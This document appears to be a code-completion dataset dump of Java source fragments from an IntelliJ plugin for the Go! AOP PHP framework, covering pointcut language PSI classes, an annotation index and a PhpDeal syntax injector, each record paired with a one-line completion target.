import org.jetbrains.annotations.NotNull;
import java.util.Collections;
import java.util.Map;
import java.util.Set; | package com.aopphp.go.index;
/**
* This index collects all annotated elements in the files
*/
public class AnnotatedPhpNamedElementIndex extends FileBasedIndexExtension<String, Set<String>> {
public static final ID<String, Set<String>> KEY = ID.create("com.aopphp.go.annotated.elements");
private static final KeyDescriptor<String> ENUMERATOR_STRING_DESCRIPTOR = new EnumeratorStringDescriptor();
private static final StringSetDataExternalizer STRING_SET_DATA_EXTERNALIZER = ReflectionUtil.newInstance(StringSetDataExternalizer.class);
@NotNull
@Override
public ID<String, Set<String>> getName() {
return KEY;
}
@NotNull
@Override
public DataIndexer<String, Set<String>, FileContent> getIndexer() {
return new DataIndexer<String, Set<String>, FileContent>() {
@NotNull
@Override
public Map<String, Set<String>> map(@NotNull FileContent inputData) {
PsiFile psiFile = inputData.getPsiFile();
if(!(psiFile instanceof PhpFile)) {
return Collections.emptyMap();
}
return new AbstractDataIndexer<Set<String>>((PhpFile) psiFile) {
private Map<String, String> fileImports;
@Override
protected void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, Set<String>> map) {
if (fileImports == null) { | // Path: src/com/aopphp/go/util/PluginUtil.java
// public class PluginUtil {
//
// /**
// * Returns a map with php use imports
// *
// * @param psiFile Instance of file, should be PHP
// * @return Mapping of short names to the FQN
// */
// public static Map<String, String> getFileUseImports(PsiFile psiFile) {
//
// // search for use alias in local file
// final Map<String, String> useImports = new HashMap<String, String>();
//
// if (psiFile instanceof PhpFile) {
// for (final PhpNamedElement element : ((PhpFile) psiFile).getTopLevelDefs().values()) {
// if (element instanceof PhpUse) {
// final PhpUse phpUse = (PhpUse) element;
// String alias = phpUse.getAliasName();
// if(alias != null) {
// useImports.put(alias, phpUse.getFQN());
// } else {
// useImports.put(phpUse.getName(), phpUse.getFQN());
// }
// }
// }
// }
//
// return useImports;
// }
//
//
// @Nullable
// public static String getClassNameReference(PhpDocTag phpDocTag) {
// return getClassNameReference(phpDocTag, getFileUseImports(phpDocTag.getContainingFile()));
// }
//
// @Nullable
// public static String getClassNameReference(PhpDocTag phpDocTag, Map<String, String> useImports) {
//
// if(useImports.size() == 0) {
// return null;
// }
//
// String annotationName = phpDocTag.getName();
// if(StringUtils.isBlank(annotationName)) {
// return null;
// }
//
// if(annotationName.startsWith("@")) {
// annotationName = annotationName.substring(1);
// }
//
// String className = annotationName;
// String subNamespaceName = "";
// if(className.contains("\\")) {
// className = className.substring(0, className.indexOf("\\"));
// subNamespaceName = annotationName.substring(className.length());
// }
//
// if(!useImports.containsKey(className)) {
// return null;
// }
//
// // normalize name
// String annotationFqnName = useImports.get(className) + subNamespaceName;
// if(!annotationFqnName.startsWith("\\")) {
// annotationFqnName = "\\" + annotationFqnName;
// }
//
// return annotationFqnName;
//
// }
//
// /**
// * Checks if the given element is aspect
// *
// * @param element Instance of PSI element
// * @return true if element is aspect or false
// */
// public static boolean isAspect(PsiElement element) {
// if (!(element instanceof PhpClass)) {
// return false;
// }
//
// String[] interfaceNames = ((PhpClass) element).getInterfaceNames();
// for (String interfaceName : interfaceNames) {
// if (interfaceName.equals("\\Go\\Aop\\Aspect")) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/com/aopphp/go/index/AnnotatedPhpNamedElementIndex.java
import com.aopphp.go.util.PluginUtil;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFile;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.util.ReflectionUtil;
import com.intellij.util.indexing.*;
import com.intellij.util.io.DataExternalizer;
import com.intellij.util.io.EnumeratorStringDescriptor;
import com.intellij.util.io.KeyDescriptor;
import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment;
import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocTag;
import com.jetbrains.php.lang.psi.PhpFile;
import com.jetbrains.php.lang.psi.elements.PhpNamedElement;
import com.jetbrains.php.lang.psi.stubs.indexes.PhpConstantNameIndex;
import com.jetbrains.php.lang.psi.stubs.indexes.StringSetDataExternalizer;
import gnu.trove.THashSet;
import org.jetbrains.annotations.NotNull;
import java.util.Collections;
import java.util.Map;
import java.util.Set;
package com.aopphp.go.index;
/**
* This index collects all annotated elements in the files
*/
public class AnnotatedPhpNamedElementIndex extends FileBasedIndexExtension<String, Set<String>> {
public static final ID<String, Set<String>> KEY = ID.create("com.aopphp.go.annotated.elements");
private static final KeyDescriptor<String> ENUMERATOR_STRING_DESCRIPTOR = new EnumeratorStringDescriptor();
private static final StringSetDataExternalizer STRING_SET_DATA_EXTERNALIZER = ReflectionUtil.newInstance(StringSetDataExternalizer.class);
@NotNull
@Override
public ID<String, Set<String>> getName() {
return KEY;
}
@NotNull
@Override
public DataIndexer<String, Set<String>, FileContent> getIndexer() {
return new DataIndexer<String, Set<String>, FileContent>() {
@NotNull
@Override
public Map<String, Set<String>> map(@NotNull FileContent inputData) {
PsiFile psiFile = inputData.getPsiFile();
if(!(psiFile instanceof PhpFile)) {
return Collections.emptyMap();
}
return new AbstractDataIndexer<Set<String>>((PhpFile) psiFile) {
private Map<String, String> fileImports;
@Override
protected void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, Set<String>> map) {
if (fileImports == null) { | fileImports = PluginUtil.getFileUseImports(phpDocTag.getContainingFile()); |
goaop/idea-plugin | src/com/aopphp/go/psi/PointcutElementType.java | // Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
| import com.aopphp.go.PointcutQueryLanguage;
import com.intellij.psi.tree.IElementType;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull; | package com.aopphp.go.psi;
public class PointcutElementType extends IElementType {
public PointcutElementType(@NotNull @NonNls String debugName) { | // Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
// Path: src/com/aopphp/go/psi/PointcutElementType.java
import com.aopphp.go.PointcutQueryLanguage;
import com.intellij.psi.tree.IElementType;
import org.jetbrains.annotations.NonNls;
import org.jetbrains.annotations.NotNull;
package com.aopphp.go.psi;
public class PointcutElementType extends IElementType {
public PointcutElementType(@NotNull @NonNls String debugName) { | super(debugName, PointcutQueryLanguage.INSTANCE); |
goaop/idea-plugin | src/com/aopphp/go/psi/PointcutFile.java | // Path: src/com/aopphp/go/GoAopFileType.java
// public class GoAopFileType extends LanguageFileType {
// public static final GoAopFileType INSTANCE = new GoAopFileType();
//
// private GoAopFileType() {
// super(PointcutQueryLanguage.INSTANCE);
// }
//
// @NotNull
// @Override
// public String getName() {
// return "Go! AOP Pointcut";
// }
//
// @NotNull
// @Override
// public String getDescription() {
// return "Go! AOP Pointcut Expression Syntax";
// }
//
// @NotNull
// @Override
// public String getDefaultExtension() {
// return ".goaop";
// }
//
// @Nullable
// @Override
// public Icon getIcon() {
// return GoAopIcons.FILE;
// }
// }
//
// Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
| import com.intellij.extapi.psi.PsiFileBase;
import com.intellij.openapi.fileTypes.FileType;
import com.intellij.psi.FileViewProvider;
import com.aopphp.go.GoAopFileType;
import com.aopphp.go.PointcutQueryLanguage;
import org.jetbrains.annotations.NotNull;
import javax.swing.*; | package com.aopphp.go.psi;
public class PointcutFile extends PsiFileBase {
public PointcutFile(@NotNull FileViewProvider viewProvider) { | // Path: src/com/aopphp/go/GoAopFileType.java
// public class GoAopFileType extends LanguageFileType {
// public static final GoAopFileType INSTANCE = new GoAopFileType();
//
// private GoAopFileType() {
// super(PointcutQueryLanguage.INSTANCE);
// }
//
// @NotNull
// @Override
// public String getName() {
// return "Go! AOP Pointcut";
// }
//
// @NotNull
// @Override
// public String getDescription() {
// return "Go! AOP Pointcut Expression Syntax";
// }
//
// @NotNull
// @Override
// public String getDefaultExtension() {
// return ".goaop";
// }
//
// @Nullable
// @Override
// public Icon getIcon() {
// return GoAopIcons.FILE;
// }
// }
//
// Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
// Path: src/com/aopphp/go/psi/PointcutFile.java
import com.intellij.extapi.psi.PsiFileBase;
import com.intellij.openapi.fileTypes.FileType;
import com.intellij.psi.FileViewProvider;
import com.aopphp.go.GoAopFileType;
import com.aopphp.go.PointcutQueryLanguage;
import org.jetbrains.annotations.NotNull;
import javax.swing.*;
package com.aopphp.go.psi;
public class PointcutFile extends PsiFileBase {
public PointcutFile(@NotNull FileViewProvider viewProvider) { | super(viewProvider, PointcutQueryLanguage.INSTANCE); |
goaop/idea-plugin | src/com/aopphp/go/psi/PointcutFile.java | // Path: src/com/aopphp/go/GoAopFileType.java
// public class GoAopFileType extends LanguageFileType {
// public static final GoAopFileType INSTANCE = new GoAopFileType();
//
// private GoAopFileType() {
// super(PointcutQueryLanguage.INSTANCE);
// }
//
// @NotNull
// @Override
// public String getName() {
// return "Go! AOP Pointcut";
// }
//
// @NotNull
// @Override
// public String getDescription() {
// return "Go! AOP Pointcut Expression Syntax";
// }
//
// @NotNull
// @Override
// public String getDefaultExtension() {
// return ".goaop";
// }
//
// @Nullable
// @Override
// public Icon getIcon() {
// return GoAopIcons.FILE;
// }
// }
//
// Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
| import com.intellij.extapi.psi.PsiFileBase;
import com.intellij.openapi.fileTypes.FileType;
import com.intellij.psi.FileViewProvider;
import com.aopphp.go.GoAopFileType;
import com.aopphp.go.PointcutQueryLanguage;
import org.jetbrains.annotations.NotNull;
import javax.swing.*; | package com.aopphp.go.psi;
public class PointcutFile extends PsiFileBase {
public PointcutFile(@NotNull FileViewProvider viewProvider) {
super(viewProvider, PointcutQueryLanguage.INSTANCE);
}
@NotNull
@Override
public FileType getFileType() { | // Path: src/com/aopphp/go/GoAopFileType.java
// public class GoAopFileType extends LanguageFileType {
// public static final GoAopFileType INSTANCE = new GoAopFileType();
//
// private GoAopFileType() {
// super(PointcutQueryLanguage.INSTANCE);
// }
//
// @NotNull
// @Override
// public String getName() {
// return "Go! AOP Pointcut";
// }
//
// @NotNull
// @Override
// public String getDescription() {
// return "Go! AOP Pointcut Expression Syntax";
// }
//
// @NotNull
// @Override
// public String getDefaultExtension() {
// return ".goaop";
// }
//
// @Nullable
// @Override
// public Icon getIcon() {
// return GoAopIcons.FILE;
// }
// }
//
// Path: src/com/aopphp/go/PointcutQueryLanguage.java
// public class PointcutQueryLanguage extends Language {
// public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage();
//
// private PointcutQueryLanguage() {
// super("Go! AOP Pointcut query");
// }
// }
// Path: src/com/aopphp/go/psi/PointcutFile.java
import com.intellij.extapi.psi.PsiFileBase;
import com.intellij.openapi.fileTypes.FileType;
import com.intellij.psi.FileViewProvider;
import com.aopphp.go.GoAopFileType;
import com.aopphp.go.PointcutQueryLanguage;
import org.jetbrains.annotations.NotNull;
import javax.swing.*;
package com.aopphp.go.psi;
public class PointcutFile extends PsiFileBase {
public PointcutFile(@NotNull FileViewProvider viewProvider) {
super(viewProvider, PointcutQueryLanguage.INSTANCE);
}
@NotNull
@Override
public FileType getFileType() { | return GoAopFileType.INSTANCE; |
goaop/idea-plugin | src/com/aopphp/go/psi/BrakedExpression.java | // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
| import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut; | // This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface BrakedExpression extends PsiElement {
@Nullable
PointcutExpression getPointcutExpression();
@Nullable
SinglePointcut getSinglePointcut();
| // Path: src/com/aopphp/go/pointcut/Pointcut.java
// public interface Pointcut extends PointFilter
// {
// /**
// * Return the class filter for this pointcut.
// *
// * @return PointFilter
// */
// PointFilter getClassFilter();
// }
// Path: src/com/aopphp/go/psi/BrakedExpression.java
import java.util.List;
import org.jetbrains.annotations.*;
import com.intellij.psi.PsiElement;
import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing.
package com.aopphp.go.psi;
public interface BrakedExpression extends PsiElement {
@Nullable
PointcutExpression getPointcutExpression();
@Nullable
SinglePointcut getSinglePointcut();
| Pointcut resolveBrakedExpression(); |
goaop/idea-plugin | src/com/aopphp/go/injector/PhpDealAssertInjector.java | // Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
| import com.aopphp.go.pattern.CodePattern;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.InjectedLanguagePlaces;
import com.intellij.psi.LanguageInjector;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiLanguageInjectionHost;
import com.intellij.psi.util.PsiTreeUtil;
import com.jetbrains.php.lang.PhpLanguage;
import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment;
import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocParamTag;
import com.jetbrains.php.lang.psi.elements.PhpClass;
import com.jetbrains.php.lang.psi.elements.PhpClassMember;
import com.jetbrains.php.lang.psi.elements.StringLiteralExpression;
import org.jetbrains.annotations.NotNull; | package com.aopphp.go.injector;
/**
* PhpDeal injector is responsible to inject PHP syntax into the specific annotations
*/
public class PhpDealAssertInjector implements LanguageInjector {
private static final String PHP_DEAL_ANNOTATION = "\\PhpDeal\\Annotation";
@Override
public void getLanguagesToInject(
@NotNull PsiLanguageInjectionHost host,
@NotNull InjectedLanguagePlaces injectionPlacesRegistrar)
{
// we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>')
if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) {
return;
}
StringLiteralExpression literalExpression = (StringLiteralExpression) host; | // Path: src/com/aopphp/go/pattern/CodePattern.java
// public class CodePattern extends PlatformPatterns {
//
// /**
// * Matching name part after left parenthesis and one of annotation pointcut type
// * \@execution(<className>)
// * \@access(<className>)
// * \@within(<className>)
// */
// public static ElementPattern<PsiElement> insideAnnotationPointcut() {
// return or(
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class),
// psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class)
// );
// }
//
// public static ElementPattern<PsiElement> insidePointcutLanguage() {
// return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE);
// }
//
// public static ElementPattern<PsiElement> startOfMemberModifiers() {
// return psiElement().afterLeafSkipping(
// or(
// psiElement(PointcutTypes.T_LEFT_PAREN),
// psiElement(PointcutTypes.PRIVATE),
// psiElement(PointcutTypes.PROTECTED),
// psiElement(PointcutTypes.PUBLIC),
// psiElement(PointcutTypes.FINAL),
// psiElement(PointcutTypes.T_ALTERNATION),
// psiElement().whitespace()
// ),
// or(
// psiElement(PointcutTypes.EXECUTION),
// psiElement(PointcutTypes.ACCESS)
// )
// );
// }
//
// /**
// * Checks if host is concrete annotation to inject syntax into it
// *
// * @param host Host element, typically string literal expression
// * @param annotationPrefix Annotation prefix
// * @return boolean
// */
// public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) {
//
// PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class);
// if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) {
// return false;
// }
//
// PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag);
// PhpClass phpClass = null;
// if (phpDocAnnotationContainer != null) {
// phpClass = phpDocAnnotationContainer.getPhpClass();
// }
//
// if (phpClass == null || phpClass.getFQN() == null) {
// return false;
// }
//
// return phpClass.getFQN().startsWith(annotationPrefix);
//
// }
//
// /**
// * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...})
// * @param host Host element is typically PHP string
// *
// * @return boolean
// */
// public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host)
// {
// PsiElement element = host.getParent();
// if (!(element instanceof ParameterList)) {
// return false;
// }
// element = element.getParent();
// if (!(element instanceof MethodReference)) {
// return false;
// }
//
// PsiElement resolvedElement = ((MethodReference) element).resolve();
// if (!(resolvedElement instanceof MethodImpl)) {
// return false;
// }
//
// MethodImpl methodImpl = (MethodImpl) resolvedElement;
// if (methodImpl.getFQN() == null) {
// return false;
// }
//
// return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder");
// }
// }
// Path: src/com/aopphp/go/injector/PhpDealAssertInjector.java
import com.aopphp.go.pattern.CodePattern;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.InjectedLanguagePlaces;
import com.intellij.psi.LanguageInjector;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiLanguageInjectionHost;
import com.intellij.psi.util.PsiTreeUtil;
import com.jetbrains.php.lang.PhpLanguage;
import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment;
import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocParamTag;
import com.jetbrains.php.lang.psi.elements.PhpClass;
import com.jetbrains.php.lang.psi.elements.PhpClassMember;
import com.jetbrains.php.lang.psi.elements.StringLiteralExpression;
import org.jetbrains.annotations.NotNull;
package com.aopphp.go.injector;
/**
* PhpDeal injector is responsible to inject PHP syntax into the specific annotations
*/
public class PhpDealAssertInjector implements LanguageInjector {
private static final String PHP_DEAL_ANNOTATION = "\\PhpDeal\\Annotation";
@Override
public void getLanguagesToInject(
@NotNull PsiLanguageInjectionHost host,
@NotNull InjectedLanguagePlaces injectionPlacesRegistrar)
{
// we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>')
if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) {
return;
}
StringLiteralExpression literalExpression = (StringLiteralExpression) host; | if (!CodePattern.isInsideAnnotation(literalExpression, PHP_DEAL_ANNOTATION)) { |
goaop/idea-plugin | src/com/aopphp/go/pointcut/AnnotationPointcut.java | // Path: src/com/aopphp/go/index/AnnotatedPhpNamedElementIndex.java
// public class AnnotatedPhpNamedElementIndex extends FileBasedIndexExtension<String, Set<String>> {
//
// public static final ID<String, Set<String>> KEY = ID.create("com.aopphp.go.annotated.elements");
// private static final KeyDescriptor<String> ENUMERATOR_STRING_DESCRIPTOR = new EnumeratorStringDescriptor();
// private static final StringSetDataExternalizer STRING_SET_DATA_EXTERNALIZER = ReflectionUtil.newInstance(StringSetDataExternalizer.class);
//
// @NotNull
// @Override
// public ID<String, Set<String>> getName() {
// return KEY;
// }
//
// @NotNull
// @Override
// public DataIndexer<String, Set<String>, FileContent> getIndexer() {
// return new DataIndexer<String, Set<String>, FileContent>() {
// @NotNull
// @Override
// public Map<String, Set<String>> map(@NotNull FileContent inputData) {
// PsiFile psiFile = inputData.getPsiFile();
// if(!(psiFile instanceof PhpFile)) {
// return Collections.emptyMap();
// }
//
// return new AbstractDataIndexer<Set<String>>((PhpFile) psiFile) {
//
// private Map<String, String> fileImports;
//
// @Override
// protected void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, Set<String>> map) {
// if (fileImports == null) {
// fileImports = PluginUtil.getFileUseImports(phpDocTag.getContainingFile());
// }
// AnnotatedPhpNamedElementIndex.visitPhpDocTag(phpDocTag, fileImports, map);
// }
// }.map();
// }
// };
// }
//
// @NotNull
// @Override
// public KeyDescriptor<String> getKeyDescriptor() {
// return ENUMERATOR_STRING_DESCRIPTOR;
// }
//
// @NotNull
// @Override
// public DataExternalizer<Set<String>> getValueExternalizer() {
// return STRING_SET_DATA_EXTERNALIZER;
// }
//
// @NotNull
// @Override
// public FileBasedIndex.InputFilter getInputFilter() {
// return PhpConstantNameIndex.PHP_INPUT_FILTER;
// }
//
// @Override
// public boolean dependsOnFileContent() {
// return true;
// }
//
// @Override
// public int getVersion() {
// return 2;
// }
//
// private static void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, String> fileImports,
// final Map<String, Set<String>> map) {
// String annotationFqnName = PluginUtil.getClassNameReference(phpDocTag, fileImports);
// if(annotationFqnName == null) {
// return;
// }
//
// // | - PhpDocComment
// // | | - PhpDocTag
// // |
// // | - PhpNamedElement
//
// PhpDocComment docComment = PsiTreeUtil.getParentOfType(phpDocTag, PhpDocComment.class);
// if (docComment == null) {
// return;
// }
//
// PsiElement phpNamedElement = docComment.getOwner();
// if (phpNamedElement == null || !(phpNamedElement instanceof PhpNamedElement)) {
// return;
// }
// String elementFQN = ((PhpNamedElement) phpNamedElement).getFQN();
// if (map.containsKey(annotationFqnName)) {
// Set<String> strings = map.get(annotationFqnName);
// strings.add(elementFQN);
// } else {
// Set<String> strings = new THashSet<>();
// strings.add(elementFQN);
// map.put(annotationFqnName, strings);
// }
// }
// }
| import com.aopphp.go.index.AnnotatedPhpNamedElementIndex;
import com.intellij.psi.search.GlobalSearchScope;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.util.indexing.FileBasedIndex;
import com.intellij.util.indexing.ID;
import com.jetbrains.php.PhpIndex;
import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment;
import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocTag;
import com.jetbrains.php.lang.psi.elements.Field;
import com.jetbrains.php.lang.psi.elements.Method;
import com.jetbrains.php.lang.psi.elements.PhpClass;
import com.jetbrains.php.lang.psi.elements.PhpNamedElement;
import de.espend.idea.php.annotation.util.AnnotationUtil;
import java.util.Collections;
import java.util.List;
import java.util.Set; | *
* @param element PHP element to check
*
* @return true if pointcut can match this named element
*/
private boolean canMatchElement(PhpNamedElement element) {
if (element instanceof Method) {
return filterKind.contains(KindFilter.KIND_METHOD);
}
if (element instanceof Field) {
return filterKind.contains(KindFilter.KIND_PROPERTY);
}
if (element instanceof PhpClass) {
return filterKind.contains(KindFilter.KIND_CLASS);
}
return false;
}
@Override
public Set<KindFilter> getKind() {
return filterKind;
}
private static class AnnotatedPhpNamedElementClassFilter implements PointFilter {
private static final Set<KindFilter> KIND_CLASS = Collections.singleton(KindFilter.KIND_CLASS);
private static final FileBasedIndex INDEX = FileBasedIndex.getInstance(); | // Path: src/com/aopphp/go/index/AnnotatedPhpNamedElementIndex.java
// public class AnnotatedPhpNamedElementIndex extends FileBasedIndexExtension<String, Set<String>> {
//
// public static final ID<String, Set<String>> KEY = ID.create("com.aopphp.go.annotated.elements");
// private static final KeyDescriptor<String> ENUMERATOR_STRING_DESCRIPTOR = new EnumeratorStringDescriptor();
// private static final StringSetDataExternalizer STRING_SET_DATA_EXTERNALIZER = ReflectionUtil.newInstance(StringSetDataExternalizer.class);
//
// @NotNull
// @Override
// public ID<String, Set<String>> getName() {
// return KEY;
// }
//
// @NotNull
// @Override
// public DataIndexer<String, Set<String>, FileContent> getIndexer() {
// return new DataIndexer<String, Set<String>, FileContent>() {
// @NotNull
// @Override
// public Map<String, Set<String>> map(@NotNull FileContent inputData) {
// PsiFile psiFile = inputData.getPsiFile();
// if(!(psiFile instanceof PhpFile)) {
// return Collections.emptyMap();
// }
//
// return new AbstractDataIndexer<Set<String>>((PhpFile) psiFile) {
//
// private Map<String, String> fileImports;
//
// @Override
// protected void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, Set<String>> map) {
// if (fileImports == null) {
// fileImports = PluginUtil.getFileUseImports(phpDocTag.getContainingFile());
// }
// AnnotatedPhpNamedElementIndex.visitPhpDocTag(phpDocTag, fileImports, map);
// }
// }.map();
// }
// };
// }
//
// @NotNull
// @Override
// public KeyDescriptor<String> getKeyDescriptor() {
// return ENUMERATOR_STRING_DESCRIPTOR;
// }
//
// @NotNull
// @Override
// public DataExternalizer<Set<String>> getValueExternalizer() {
// return STRING_SET_DATA_EXTERNALIZER;
// }
//
// @NotNull
// @Override
// public FileBasedIndex.InputFilter getInputFilter() {
// return PhpConstantNameIndex.PHP_INPUT_FILTER;
// }
//
// @Override
// public boolean dependsOnFileContent() {
// return true;
// }
//
// @Override
// public int getVersion() {
// return 2;
// }
//
// private static void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, String> fileImports,
// final Map<String, Set<String>> map) {
// String annotationFqnName = PluginUtil.getClassNameReference(phpDocTag, fileImports);
// if(annotationFqnName == null) {
// return;
// }
//
// // | - PhpDocComment
// // | | - PhpDocTag
// // |
// // | - PhpNamedElement
//
// PhpDocComment docComment = PsiTreeUtil.getParentOfType(phpDocTag, PhpDocComment.class);
// if (docComment == null) {
// return;
// }
//
// PsiElement phpNamedElement = docComment.getOwner();
// if (phpNamedElement == null || !(phpNamedElement instanceof PhpNamedElement)) {
// return;
// }
// String elementFQN = ((PhpNamedElement) phpNamedElement).getFQN();
// if (map.containsKey(annotationFqnName)) {
// Set<String> strings = map.get(annotationFqnName);
// strings.add(elementFQN);
// } else {
// Set<String> strings = new THashSet<>();
// strings.add(elementFQN);
// map.put(annotationFqnName, strings);
// }
// }
// }
// Path: src/com/aopphp/go/pointcut/AnnotationPointcut.java
import com.aopphp.go.index.AnnotatedPhpNamedElementIndex;
import com.intellij.psi.search.GlobalSearchScope;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.util.indexing.FileBasedIndex;
import com.intellij.util.indexing.ID;
import com.jetbrains.php.PhpIndex;
import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment;
import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocTag;
import com.jetbrains.php.lang.psi.elements.Field;
import com.jetbrains.php.lang.psi.elements.Method;
import com.jetbrains.php.lang.psi.elements.PhpClass;
import com.jetbrains.php.lang.psi.elements.PhpNamedElement;
import de.espend.idea.php.annotation.util.AnnotationUtil;
import java.util.Collections;
import java.util.List;
import java.util.Set;
*
* @param element PHP element to check
*
* @return true if pointcut can match this named element
*/
private boolean canMatchElement(PhpNamedElement element) {
if (element instanceof Method) {
return filterKind.contains(KindFilter.KIND_METHOD);
}
if (element instanceof Field) {
return filterKind.contains(KindFilter.KIND_PROPERTY);
}
if (element instanceof PhpClass) {
return filterKind.contains(KindFilter.KIND_CLASS);
}
return false;
}
@Override
public Set<KindFilter> getKind() {
